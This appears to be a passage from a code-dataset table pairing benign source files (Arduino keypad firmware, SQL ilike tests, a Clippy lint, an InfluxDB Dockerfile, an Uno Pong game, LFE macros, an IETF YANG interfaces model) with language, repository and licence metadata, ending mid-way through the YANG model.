content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
#include <Wire.h>
#define DEBUG_MODE 0
// Address Pins
#define AD0 11
#define AD1 12
// I2C Defaults
#define I2C_DEFAULT_ADDRESS 0x0A
#define I2C_BUFFER_SIZE 2
byte buffer[I2C_BUFFER_SIZE];
int addressPins[] = { AD0, AD1 };
int address = I2C_DEFAULT_ADDRESS;
int pins[7] = {8, 7, 6, 5, 4, 3, 2};
void resetPins() {
for (int i = 0; i < 7; i++) {
pinMode(pins[i], INPUT);
digitalWrite(pins[i], HIGH);
}
}
void setup() {
int offset = 0;
for (int i = 0; i < 2; i++) {
pinMode(addressPins[i], INPUT);
if (digitalRead(addressPins[i])) {
offset |= 1 << i;
}
}
address += offset;
#if DEBUG_MODE
Serial.begin(9600);
#endif
resetPins();
Wire.begin(address);
Wire.onRequest(onRequest);
}
void loop() {
int state = read();
// int index = toIndex(state);
// if (state == 0) {
// index = 0xFF;
// }
// #if DEBUG_MODE
// if (index != 0xff) {
// Serial.println(index);
// }
// #endif
// buffer[0] = index >> 8;
// buffer[1] = index & 0xFF;
buffer[0] = state >> 8;
buffer[1] = state & 0xFF;
delay(10);
}
int toIndex(int bits) {
for (int i = 0; i < 12; i++) {
if (bits & (1 << i)) {
return i;
}
}
}
int read() {
// 2, 7, 6, 4
// 3, 1, 5
int rowPins[4] = {7, 2, 3, 5};
int colPins[3] = {6, 8, 4};
int state = 0;
resetPins();
for (int row = 0; row < 4; row++) {
// "Open" the row for reading...
// Set the row to OUTPUT and put all pins LOW
pinMode(rowPins[row], OUTPUT);
digitalWrite(rowPins[row], LOW);
// Iterate across the columns in this row
for (int col = 0; col < 3; col++) {
// Read and update the state byte
if (!digitalRead(colPins[col])) {
state |= 1 << ((row + 1) * 3 + (col + 1) - 4);
}
}
// "Close" the row...
// Set the row to INPUT and put all pins HIGH
pinMode(rowPins[row], INPUT);
digitalWrite(rowPins[row], HIGH);
}
return state;
}
void onRequest() {
Wire.write(buffer, 2);
}
| Arduino | 4 | mattp94/johnny-five | firmwares/keypad_3x4_i2c_nano_backpack.ino | [
"MIT"
] |
-- test cases for ilike
-- null handling
select null ilike 'a';
select 'a' ilike null;
select null ilike null;
-- simple patterns
select 'a' ilike 'a';
select 'a' ilike 'b';
select 'A' ilike 'a';
select 'a' ilike 'A';
select 'abdef' ilike 'aBdef';
select 'a_%b' ilike 'a\\__b';
select 'addb' ilike 'A_%b';
select 'abC' ilike 'a%';
select 'a\nb' ilike 'a_B';
-- empty input
select '' ilike '';
select 'A' ilike '';
select '' ilike 'a';
-- double-escaping backslash
select ilike('\__', '\\\__');
select ilike('\\\__', '%\\%\%');
-- unicode
select 'a\u20ACA' ilike '_\u20AC_';
select 'A€a' ilike '_€_';
select 'a€AA' ilike '_\u20AC_a';
select 'a\u20ACaz' ilike '_€_Z';
select 'ЀЁЂѺΏỀ' ilike 'ѐёђѻώề';
-- escape char
select 'Addb' ilike 'a%#%b' escape '#';
select 'a_%b' ilike 'a%#%B' escape '#';
select 'Addb' ilike 'A%$%b' escape '$';
select 'a_%b' ilike 'a%+%B' escape '+';
| SQL | 4 | akhalymon-cv/spark | sql/core/src/test/resources/sql-tests/inputs/ilike.sql | [
"Apache-2.0"
] |
#!/usr/bin/osascript
# Required parameters:
# @raycast.schemaVersion 1
# @raycast.title Toggle Microphone
# @raycast.mode silent
# @raycast.packageName System
# Optional parameters:
# @raycast.icon 🎙
# Documentation:
# @raycast.author Matthew Morek
# @raycast.authorURL https://github.com/matthewmorek
# @raycast.description Toggles microphone.
on getMicrophoneVolume()
input volume of (get volume settings)
end getMicrophoneVolume
on disableMicrophone()
set volume input volume 0
log "Microphone turned off 🔴"
end disableMicrophone
on enableMicrophone()
set volume input volume 100
log "Microphone turned on 🟢"
end enableMicrophone
if getMicrophoneVolume() is greater than 0 then
disableMicrophone()
else
enableMicrophone()
end if
| AppleScript | 4 | daviddzhou/script-commands | commands/system/audio/toggle-mic.applescript | [
"MIT"
] |
-include ../tools.mk
all: $(TMPDIR)/libbar.a
$(RUSTC) foo.rs -lstatic=bar
$(RUSTC) main.rs
$(call RUN,main)
| Makefile | 3 | Eric-Arellano/rust | src/test/run-make-fulldeps/manual-link/Makefile | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
use clippy_utils::diagnostics::span_lint_and_sugg;
use clippy_utils::higher;
use clippy_utils::source::snippet_with_applicability;
use clippy_utils::sugg::Sugg;
use clippy_utils::ty::is_type_diagnostic_item;
use clippy_utils::{eq_expr_value, is_lang_ctor, path_to_local, path_to_local_id, peel_blocks, peel_blocks_with_stmt};
use if_chain::if_chain;
use rustc_errors::Applicability;
use rustc_hir::LangItem::{OptionNone, OptionSome, ResultOk};
use rustc_hir::{BindingAnnotation, Expr, ExprKind, PatKind};
use rustc_lint::{LateContext, LateLintPass};
use rustc_session::{declare_lint_pass, declare_tool_lint};
use rustc_span::sym;
declare_clippy_lint! {
/// ### What it does
/// Checks for expressions that could be replaced by the question mark operator.
///
/// ### Why is this bad?
/// Question mark usage is more idiomatic.
///
/// ### Example
/// ```ignore
/// if option.is_none() {
/// return None;
/// }
/// ```
///
/// Could be written:
///
/// ```ignore
/// option?;
/// ```
#[clippy::version = "pre 1.29.0"]
pub QUESTION_MARK,
style,
"checks for expressions that could be replaced by the question mark operator"
}
declare_lint_pass!(QuestionMark => [QUESTION_MARK]);
impl QuestionMark {
/// Checks if the given expression on the given context matches the following structure:
///
/// ```ignore
/// if option.is_none() {
/// return None;
/// }
/// ```
///
/// ```ignore
/// if result.is_err() {
/// return result;
/// }
/// ```
///
/// If it matches, it will suggest to use the question mark operator instead
fn check_is_none_or_err_and_early_return(cx: &LateContext<'_>, expr: &Expr<'_>) {
if_chain! {
if let Some(higher::If { cond, then, r#else }) = higher::If::hir(expr);
if let ExprKind::MethodCall(segment, _, args, _) = &cond.kind;
if let Some(subject) = args.get(0);
if (Self::option_check_and_early_return(cx, subject, then) && segment.ident.name == sym!(is_none)) ||
(Self::result_check_and_early_return(cx, subject, then) && segment.ident.name == sym!(is_err));
then {
let mut applicability = Applicability::MachineApplicable;
let receiver_str = &Sugg::hir_with_applicability(cx, subject, "..", &mut applicability);
let mut replacement: Option<String> = None;
if let Some(else_inner) = r#else {
if eq_expr_value(cx, subject, peel_blocks(else_inner)) {
replacement = Some(format!("Some({}?)", receiver_str));
}
} else if Self::moves_by_default(cx, subject)
&& !matches!(subject.kind, ExprKind::Call(..) | ExprKind::MethodCall(..))
{
replacement = Some(format!("{}.as_ref()?;", receiver_str));
} else {
replacement = Some(format!("{}?;", receiver_str));
}
if let Some(replacement_str) = replacement {
span_lint_and_sugg(
cx,
QUESTION_MARK,
expr.span,
"this block may be rewritten with the `?` operator",
"replace it with",
replacement_str,
applicability,
);
}
}
}
}
fn check_if_let_some_or_err_and_early_return(cx: &LateContext<'_>, expr: &Expr<'_>) {
if_chain! {
if let Some(higher::IfLet { let_pat, let_expr, if_then, if_else: Some(if_else) })
= higher::IfLet::hir(cx, expr);
if let PatKind::TupleStruct(ref path1, fields, None) = let_pat.kind;
if (Self::option_check_and_early_return(cx, let_expr, if_else) && is_lang_ctor(cx, path1, OptionSome)) ||
(Self::result_check_and_early_return(cx, let_expr, if_else) && is_lang_ctor(cx, path1, ResultOk));
if let PatKind::Binding(annot, bind_id, _, _) = fields[0].kind;
let by_ref = matches!(annot, BindingAnnotation::Ref | BindingAnnotation::RefMut);
if path_to_local_id(peel_blocks(if_then), bind_id);
then {
let mut applicability = Applicability::MachineApplicable;
let receiver_str = snippet_with_applicability(cx, let_expr.span, "..", &mut applicability);
let replacement = format!("{}{}?", receiver_str, if by_ref { ".as_ref()" } else { "" },);
span_lint_and_sugg(
cx,
QUESTION_MARK,
expr.span,
"this if-let-else may be rewritten with the `?` operator",
"replace it with",
replacement,
applicability,
);
}
}
}
fn result_check_and_early_return(cx: &LateContext<'_>, expr: &Expr<'_>, nested_expr: &Expr<'_>) -> bool {
Self::is_result(cx, expr) && Self::expression_returns_unmodified_err(cx, nested_expr, expr)
}
fn option_check_and_early_return(cx: &LateContext<'_>, expr: &Expr<'_>, nested_expr: &Expr<'_>) -> bool {
Self::is_option(cx, expr) && Self::expression_returns_none(cx, nested_expr)
}
fn moves_by_default(cx: &LateContext<'_>, expression: &Expr<'_>) -> bool {
let expr_ty = cx.typeck_results().expr_ty(expression);
!expr_ty.is_copy_modulo_regions(cx.tcx.at(expression.span), cx.param_env)
}
fn is_option(cx: &LateContext<'_>, expression: &Expr<'_>) -> bool {
let expr_ty = cx.typeck_results().expr_ty(expression);
is_type_diagnostic_item(cx, expr_ty, sym::Option)
}
fn is_result(cx: &LateContext<'_>, expression: &Expr<'_>) -> bool {
let expr_ty = cx.typeck_results().expr_ty(expression);
is_type_diagnostic_item(cx, expr_ty, sym::Result)
}
fn expression_returns_none(cx: &LateContext<'_>, expression: &Expr<'_>) -> bool {
match peel_blocks_with_stmt(expression).kind {
ExprKind::Ret(Some(expr)) => Self::expression_returns_none(cx, expr),
ExprKind::Path(ref qpath) => is_lang_ctor(cx, qpath, OptionNone),
_ => false,
}
}
fn expression_returns_unmodified_err(cx: &LateContext<'_>, expr: &Expr<'_>, cond_expr: &Expr<'_>) -> bool {
match peel_blocks_with_stmt(expr).kind {
ExprKind::Ret(Some(ret_expr)) => Self::expression_returns_unmodified_err(cx, ret_expr, cond_expr),
ExprKind::Path(_) => path_to_local(expr).is_some() && path_to_local(expr) == path_to_local(cond_expr),
_ => false,
}
}
}
impl<'tcx> LateLintPass<'tcx> for QuestionMark {
fn check_expr(&mut self, cx: &LateContext<'tcx>, expr: &'tcx Expr<'_>) {
Self::check_is_none_or_err_and_early_return(cx, expr);
Self::check_if_let_some_or_err_and_early_return(cx, expr);
}
}
| Rust | 5 | david-perez/rust | src/tools/clippy/clippy_lints/src/question_mark.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
FROM debian:buster-slim AS dependency-base
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get update \
&& apt-get install -y \
ca-certificates \
tzdata \
&& apt-get clean autoclean \
&& apt-get autoremove --yes \
&& rm -rf /var/lib/{apt,dpkg,cache,log}
# NOTE: We separate these two stages so we can run the above
# quickly in CI, in case of flaky failure.
FROM dependency-base
EXPOSE 8086
COPY influxd /usr/bin/
COPY docker/influxd/entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
CMD ["influxd"]
| Dockerfile | 4 | SGZW/influxdb | docker/influxd/Dockerfile | [
"MIT"
] |
import * as React from 'react';
import { Link } from 'remix';
import Typography from '@mui/material/Typography';
import Button from '@mui/material/Button';
export default function About() {
return (
<React.Fragment>
<Typography variant="h4" component="h1" gutterBottom>
Remix with TypeScript example
</Typography>
<Button variant="contained" component={Link} to="/">
Go to the main page
</Button>
</React.Fragment>
);
}
| TypeScript | 4 | dany-freeman/material-ui | examples/remix-with-typescript/app/routes/about.tsx | [
"MIT"
] |
using Uno;
using Uno.Collections;
using Uno.Graphics;
using Uno.Scenes;
using Uno.Content;
using Uno.Content.Models;
namespace PONG2D
{
public class Pong : Node
{
float2 _player1Pos;
float2 _player2Pos;
float2 ballPosition;
float2 ballVelocity;
float2 rectangleSize;
Rect player1Rect;
Rect player2Rect;
Rect ballRect;
float2 resolution = Context.VirtualResolution;
Random random = new Random(1);
float2 Player1Pos
{
get { return _player1Pos; }
set
{
_player1Pos = Math.Clamp(value, float2(0, 0), resolution - rectangleSize);
}
}
float2 Player2Pos
{
get { return _player2Pos; }
set
{
_player2Pos = Math.Clamp(value, float2(0, 0), resolution - rectangleSize);
}
}
public Pong()
{
Uno.Scenes.Input.AddGlobalListener(this);
}
protected override void OnInitialize()
{
base.OnInitialize();
UpdateValues();
}
void UpdateValues()
{
rectangleSize = float2(resolution.X / 80f, resolution.Y / 5f);
_player1Pos = float2(0f);
_player2Pos = float2(Context.VirtualResolution.X - rectangleSize.X, 0f);
player1Rect = new Rect(_player1Pos, rectangleSize);
player2Rect = new Rect(_player2Pos, rectangleSize);
ballPosition = float2(resolution.X * 0.5f - 10f, resolution.Y * 0.5f - 10f);
ballRect = new Rect(ballPosition, float2(20f));
SpwanBall();
}
void SpwanBall()
{
ballRect.Position = float2(resolution.X * 0.5f - 10f, resolution.Y * 0.5f - 10f);
ballVelocity = float2(5f, 10f) * 0.5f;
}
void OnWindowResize(object sender, EventArgs args)
{
//UpdateValues();
}
protected override void OnUpdate()
{
base.OnUpdate();
var padVelocity = resolution.Y * (float)Application.Current.FrameInterval * 4f;
if (Input.IsKeyDown(Uno.Platform.Key.Up))
{
Player1Pos = float2(Player1Pos.X, Player1Pos.Y - padVelocity);
}
if (Input.IsKeyDown(Uno.Platform.Key.Down))
{
Player1Pos = float2(Player1Pos.X, Player1Pos.Y + padVelocity);
}
if (Input.IsKeyDown(Uno.Platform.Key.W))
{
Player2Pos = float2(Player2Pos.X, Player2Pos.Y - padVelocity);
}
if (Input.IsKeyDown(Uno.Platform.Key.S))
{
Player2Pos = float2(Player2Pos.X, Player2Pos.Y + padVelocity);
}
player1Rect.Position = Player1Pos;
player2Rect.Position = Player2Pos;
if (ballRect.Position.X > resolution.X || ballRect.Position.X < 0)
{
SpwanBall();
}
if (ballRect.Position.Y > resolution.Y ||
ballRect.Position.Y < 0)
{
ballVelocity.Y *= -1f;
}
if (ballRect.Intersects(player1Rect) ||
ballRect.Intersects(player2Rect))
{
ballVelocity.X *= -1f;
}
ballRect.Position += ballVelocity;
}
protected override void OnDraw()
{
Uno.Drawing.RoundedRectangle.Draw(player1Rect.Position, player1Rect.Size, float4(1f), 0);
Uno.Drawing.RoundedRectangle.Draw(player2Rect.Position, player2Rect.Size, float4(1f), 0);
Uno.Drawing.RoundedRectangle.Draw(ballRect.Position, ballRect.Size, float4(1f), 0f);
}
}
} | Uno | 5 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Uno/Pong.uno | [
"MIT"
] |
;;; Function macros.
(defmacro defn args `(clj:defn ,@args))
(defmacro defn- args `(clj:defn- ,@args))
(defmacro fn args `(clj:fn ,@args))
;;; Threading macros.
(defmacro -> args `(clj:-> ,@args))
(defmacro ->> args `(clj:->> ,@args))
(defmacro as-> args `(clj:as-> ,@args))
(defmacro cond-> args `(clj:cond-> ,@args))
(defmacro cond->> args `(clj:cond->> ,@args))
(defmacro some-> args `(clj:some-> ,@args))
(defmacro some->> args `(clj:some->> ,@args))
(defmacro doto args `(clj:doto ,@args))
;;; Conditional macros.
(defmacro if-let args `(clj:if-let ,@args))
(defmacro iff-let args `(clj:iff-let ,@args))
(defmacro condp args `(clj:condp ,@args))
(defmacro if-not args `(clj:if-not ,@args))
(defmacro iff args `(clj:iff ,@args))
(defmacro when-not args `(clj:when-not ,@args))
(defmacro not= args `(clj:not= ,@args))
;;; Predicate macros.
(defmacro tuple? args `(clj:tuple? ,@args))
(defmacro atom? args `(clj:atom? ,@args))
(defmacro binary? args `(clj:binary? ,@args))
(defmacro bitstring? args `(clj:bitstring? ,@args))
(defmacro boolean? args `(clj:boolean? ,@args))
(defmacro bool? args `(clj:bool? ,@args))
(defmacro float? args `(clj:float? ,@args))
(defmacro function? args `(clj:function? ,@args))
(defmacro func? args `(clj:func? ,@args))
(defmacro integer? args `(clj:integer? ,@args))
(defmacro int? args `(clj:int? ,@args))
(defmacro number? args `(clj:number? ,@args))
(defmacro record? args `(clj:record? ,@args))
(defmacro reference? args `(clj:reference? ,@args))
(defmacro map? args `(clj:map? ,@args))
(defmacro undefined? args `(clj:undefined? ,@args))
(defmacro undef? args `(clj:undef? ,@args))
(defmacro nil? args `(clj:nil? ,@args))
(defmacro true? args `(clj:true? ,@args))
(defmacro false? args `(clj:false? ,@args))
(defmacro odd? args `(clj:odd? ,@args))
(defmacro even? args `(clj:even? ,@args))
(defmacro zero? args `(clj:zero? ,@args))
(defmacro pos? args `(clj:pos? ,@args))
(defmacro neg? args `(clj:neg? ,@args))
(defmacro identical? args `(clj:identical? ,@args))
;;; Other macros.
(defmacro str args `(clj:str ,@args))
| LFE | 4 | haetze/lfe | include/clj.lfe | [
"Apache-2.0"
] |
: main
prog entrances_array
;
| MUF | 0 | revarbat/mufsim | tests/entrances_array.muf | [
"BSD-2-Clause"
] |
module ietf-interfaces {
namespace "urn:ietf:params:xml:ns:yang:ietf-interfaces";
prefix if;
import ietf-yang-types {
prefix yang;
}
organization
"IETF NETMOD (NETCONF Data Modeling Language) Working Group";
contact
"WG Web: <http://tools.ietf.org/wg/netmod/>
WG List: <mailto:netmod@ietf.org>
WG Chair: Thomas Nadeau
<mailto:tnadeau@lucidvision.com>
WG Chair: Juergen Schoenwaelder
<mailto:j.schoenwaelder@jacobs-university.de>
Editor: Martin Bjorklund
<mailto:mbj@tail-f.com>";
description
"This module contains a collection of YANG definitions for
managing network interfaces.
Copyright (c) 2014 IETF Trust and the persons identified as
authors of the code. All rights reserved.
Redistribution and use in source and binary forms, with or
without modification, is permitted pursuant to, and subject
to the license terms contained in, the Simplified BSD License
set forth in Section 4.c of the IETF Trust's Legal Provisions
Relating to IETF Documents
(http://trustee.ietf.org/license-info).
This version of this YANG module is part of RFC 7223; see
the RFC itself for full legal notices.";
revision 2014-05-08 {
description
"Initial revision.";
reference
"RFC 7223: A YANG Data Model for Interface Management";
}
/*
* Typedefs
*/
typedef interface-ref {
type leafref {
path "/if:devices/if:device/if:interfaces/if:interface/if:name";
}
description
"This type is used by data models that need to reference
configured interfaces.";
}
typedef interface-state-ref {
type leafref {
path "/if:devices/if:device/if:interfaces-state/if:interface/if:name";
}
description
"This type is used by data models that need to reference
the operationally present interfaces.";
}
/*
* Identities
*/
identity interface-type {
description
"Base identity from which specific interface types are
derived.";
}
/*
* Features
*/
feature arbitrary-names {
description
"This feature indicates that the device allows user-controlled
interfaces to be named arbitrarily.";
}
feature pre-provisioning {
description
"This feature indicates that the device supports
pre-provisioning of interface configuration, i.e., it is
possible to configure an interface whose physical interface
hardware is not present on the device.";
}
feature if-mib {
description
"This feature indicates that the device implements
the IF-MIB.";
reference
"RFC 2863: The Interfaces Group MIB";
}
/*
* Configuration data nodes
*/
container devices {
list device {
key deviceid;
leaf deviceid {
type string;
}
container interfaces {
description
"Interface configuration parameters.";
list interface {
key "name";
description
"The list of configured interfaces on the device.
The operational state of an interface is available
in the /interfaces-state/interface list. If the
configuration of a system-controlled interface
cannot be used by the system (e.g., the interface
hardware present does not match the interface type),
then the configuration is not applied to the
system-controlled interface shown in the of a
/interfaces-state/interface list. If the configuration
user-controlled interface cannot be used by the system,
the configured interface is not instantiated in the
/interfaces-state/interface list.";
leaf name {
type string;
description
"The name of the interface.
A device MAY restrict the allowed values for
this leaf, possibly depending on the type of the
interface. For system-controlled interfaces,
this leaf is the device-specific name of the
interface. The 'config false' list
/interfaces-state/interface contains the
currently existing interfaces on the device.
If a client tries to create configuration for a
system-controlled interface that is not present
in the /interfaces-state/interface list, the
server MAY reject the request if the
implementation does not support pre-provisioning
of interfaces or if the name refers to an
interface that can never exist in the system. A
NETCONF server MUST reply with an rpc-error with
the error-tag 'invalid-value' in this case.
If the device supports pre-provisioning of
interface configuration, the 'pre-provisioning'
feature is advertised.
If the device allows arbitrarily named
user-controlled interfaces, the
'arbitrary-names' feature is advertised.
When a configured user-controlled interface is
created by the system, it is instantiated with
the same name in the /interface-state/interface
list.";
}
leaf description {
type string;
description
"A textual description of the interface.
A server implementation MAY map this leaf to the
ifAlias MIB object. Such an implementation
needs touse some mechanism to handle the
differences in sizeand characters allowed
between this leaf and ifAlias.The definition of
such a mechanism is outside the scope of this
document.
Since ifAlias is defined to be stored in
non-volatile storage, the MIB implementation
MUST map ifAlias to the value of 'description'
in the persistently stored datastore.
Specifically, if the device supports ':startup',
when ifAlias is read the device MUST return the
value of 'description' in the 'startup'
datastore, and when it is written, it MUST be
written to the 'running' and 'startup'
datastores. Note that it is up to the
implementation to decide whether to modify this
single leaf in 'startup' or perform an implicit
copy-config from 'running' to 'startup'.
If the device does not support ':startup',
ifAlias MUST be mapped to the 'description' leaf
in the 'running' datastore.";
reference
"RFC 2863: The Interfaces Group MIB - ifAlias";
}
leaf type {
type identityref {
base interface-type;
}
mandatory true;
description
"The type of the interface.
When an interface entry is created, a server MAY
initialize the type leaf with a valid value, e.g.,
if it is possible to derive the type from the name
of the interface.
If a client tries to set the type of an
interface to a value that can never be used by
the system, e.g., if the type is not supported
or if the type does not match the name of the
interface, the server MUST reject the request. A
NETCONF server MUST reply with an rpc-error with
the error-tag 'invalid-value' in this case.";
reference
"RFC 2863: The Interfaces Group MIB - ifType";
}
leaf enabled {
type boolean;
default "true";
description
"This leaf contains the configured, desired state
of the interface.
Systems that implement the IF-MIB use the value
of this leaf in the 'running' datastore to set
IF-MIB.ifAdminStatus to 'up' or 'down' after an
ifEntry has been initialized, as described in
RFC 2863. Changes in this leaf in the 'running'
datastore are reflected in ifAdminStatus, but if
ifAdminStatus is changed over SNMP, this leaf is
not affected.";
reference
"RFC 2863: The Interfaces Group MIB -
ifAdminStatus";
}
leaf link-up-down-trap-enable {
if-feature if-mib;
type enumeration {
enum enabled {
value 1;
}
enum disabled {
value 2;
}
}
description
"Controls whether linkUp/linkDown SNMP
notifications should be generated for this
interface.
If this node is not configured, the value 'enabled'
is operationally used by the server for
interfaces that do not operate on top of any
other interface (i.e., there are no
'lower-layer-if' entries), and 'disabled'
otherwise.";
reference
"RFC 2863: The Interfaces Group MIB -
ifLinkUpDownTrapEnable";
}
}
}
/*
* Operational state data nodes
*/
container interfaces-state {
config false;
description
"Data nodes for the operational state of interfaces.";
list interface {
key "name";
description
"The list of interfaces on the device.
System-controlled interfaces created by the system are
always present in this list, whether they are configured or
not.";
leaf name {
type string;
description
"The name of the interface.
A server implementation MAY map this leaf to the ifName
MIB object. Such an implementation needs to use some
mechanism to handle the differences in size and characters
allowed between this leaf and ifName. The definition of
such a mechanism is outside the scope of this document.";
reference
"RFC 2863: The Interfaces Group MIB - ifName";
}
leaf type {
type identityref {
base interface-type;
}
mandatory true;
description
"The type of the interface.";
reference
"RFC 2863: The Interfaces Group MIB - ifType";
}
leaf admin-status {
if-feature if-mib;
type enumeration {
enum up {
value 1;
description
"Ready to pass packets.";
}
enum down {
value 2;
description
"Not ready to pass packets and not in some test mode.";
}
enum testing {
value 3;
description
"In some test mode.";
}
}
mandatory true;
description
"The desired state of the interface.
This leaf has the same read semantics as ifAdminStatus.";
reference
"RFC 2863: The Interfaces Group MIB - ifAdminStatus";
}
leaf oper-status {
type enumeration {
enum up {
value 1;
description
"Ready to pass packets.";
}
enum down {
value 2;
description
"The interface does not pass any packets.";
}
enum testing {
value 3;
description
"In some test mode. No operational packets can
be passed.";
}
enum unknown {
value 4;
description
"Status cannot be determined for some reason.";
}
enum dormant {
value 5;
description
"Waiting for some external event.";
}
enum not-present {
value 6;
description
"Some component (typically hardware) is missing.";
}
enum lower-layer-down {
value 7;
description
"Down due to state of lower-layer interface(s).";
}
}
mandatory true;
description
"The current operational state of the interface.
This leaf has the same semantics as ifOperStatus.";
reference
"RFC 2863: The Interfaces Group MIB - ifOperStatus";
}
leaf last-change {
type yang:date-and-time;
description
"The time the interface entered its current operational
state. If the current state was entered prior to the
last re-initialization of the local network management
subsystem, then this node is not present.";
reference
"RFC 2863: The Interfaces Group MIB - ifLastChange";
}
leaf if-index {
if-feature if-mib;
type int32 {
range "1..2147483647";
}
mandatory true;
description
"The ifIndex value for the ifEntry represented by this
interface.";
reference
"RFC 2863: The Interfaces Group MIB - ifIndex";
}
leaf phys-address {
type yang:phys-address;
description
"The interface's address at its protocol sub-layer. For
example, for an 802.x interface, this object normally
contains a Media Access Control (MAC) address. The
interface's media-specific modules must define the bit
and byte ordering and the format of the value of this
object. For interfaces that do not have such an address
(e.g., a serial line), this node is not present.";
reference
"RFC 2863: The Interfaces Group MIB - ifPhysAddress";
}
leaf-list higher-layer-if {
type interface-state-ref;
description
"A list of references to interfaces layered on top of this
interface.";
reference
"RFC 2863: The Interfaces Group MIB - ifStackTable";
}
leaf-list lower-layer-if {
type interface-state-ref;
description
"A list of references to interfaces layered underneath this
interface.";
reference
"RFC 2863: The Interfaces Group MIB - ifStackTable";
}
leaf speed {
type yang:gauge64;
units "bits/second";
description
"An estimate of the interface's current bandwidth in bits
per second. For interfaces that do not vary in
bandwidth or for those where no accurate estimation can
be made, this node should contain the nominal bandwidth.
For interfaces that have no concept of bandwidth, this
node is not present.";
reference
"RFC 2863: The Interfaces Group MIB -
ifSpeed, ifHighSpeed";
}
container statistics {
description
"A collection of interface-related statistics objects.";
leaf discontinuity-time {
type yang:date-and-time;
mandatory true;
description
"The time on the most recent occasion at which any one or
more of this interface's counters suffered a
discontinuity. If no such discontinuities have occurred
since the last re-initialization of the local management
subsystem, then this node contains the time the local
management subsystem re-initialized itself.";
}
leaf in-octets {
type yang:counter64;
description
"The total number of octets received on the interface,
including framing characters.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB - ifHCInOctets";
}
leaf in-unicast-pkts {
type yang:counter64;
description
"The number of packets, delivered by this sub-layer to a
higher (sub-)layer, that were not addressed to a
multicast or broadcast address at this sub-layer.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB - ifHCInUcastPkts";
}
leaf in-broadcast-pkts {
type yang:counter64;
description
"The number of packets, delivered by this sub-layer to a
higher (sub-)layer, that were addressed to a broadcast
address at this sub-layer.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB -
ifHCInBroadcastPkts";
}
leaf in-multicast-pkts {
type yang:counter64;
description
"The number of packets, delivered by this sub-layer to a
higher (sub-)layer, that were addressed to a multicast
address at this sub-layer. For a MAC-layer protocol,
this includes both Group and Functional addresses.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB -
ifHCInMulticastPkts";
}
leaf in-discards {
type yang:counter32;
description
"The number of inbound packets that were chosen to be
discarded even though no errors had been detected to
prevent their being deliverable to a higher-layer
protocol. One possible reason for discarding such a
packet could be to free up buffer space.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB - ifInDiscards";
}
leaf in-errors {
type yang:counter32;
description
"For packet-oriented interfaces, the number of inbound
packets that contained errors preventing them from being
deliverable to a higher-layer protocol. For character-
oriented or fixed-length interfaces, the number of
inbound transmission units that contained errors
preventing them from being deliverable to a higher-layer
protocol.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB - ifInErrors";
}
leaf in-unknown-protos {
type yang:counter32;
description
"For packet-oriented interfaces, the number of packets
received via the interface that were discarded because
of an unknown or unsupported protocol. For
character-oriented or fixed-length interfaces that
support protocol multiplexing, the number of
transmission units received via the interface that were
discarded because of an unknown or unsupported protocol.
For any interface that does not support protocol
multiplexing, this counter is not present.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB - ifInUnknownProtos";
}
leaf out-octets {
type yang:counter64;
description
"The total number of octets transmitted out of the
interface, including framing characters.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB - ifHCOutOctets";
}
leaf out-unicast-pkts {
type yang:counter64;
description
"The total number of packets that higher-level protocols
requested be transmitted, and that were not addressed
to a multicast or broadcast address at this sub-layer,
including those that were discarded or not sent.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB - ifHCOutUcastPkts";
}
leaf out-broadcast-pkts {
type yang:counter64;
description
"The total number of packets that higher-level protocols
requested be transmitted, and that were addressed to a
broadcast address at this sub-layer, including those
that were discarded or not sent.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB -
ifHCOutBroadcastPkts";
}
leaf out-multicast-pkts {
type yang:counter64;
description
"The total number of packets that higher-level protocols
requested be transmitted, and that were addressed to a
multicast address at this sub-layer, including those
that were discarded or not sent. For a MAC-layer
protocol, this includes both Group and Functional
addresses.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB -
ifHCOutMulticastPkts";
}
leaf out-discards {
type yang:counter32;
description
"The number of outbound packets that were chosen to be
discarded even though no errors had been detected to
prevent their being transmitted. One possible reason
for discarding such a packet could be to free up buffer
space.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
"RFC 2863: The Interfaces Group MIB - ifOutDiscards";
}
leaf out-errors {
type yang:counter32;
description
"For packet-oriented interfaces, the number of outbound
packets that could not be transmitted because of errors.
For character-oriented or fixed-length interfaces, the
number of outbound transmission units that could not be
transmitted because of errors.
Discontinuities in the value of this counter can occur
at re-initialization of the management system, and at
other times as indicated by the value of
'discontinuity-time'.";
reference
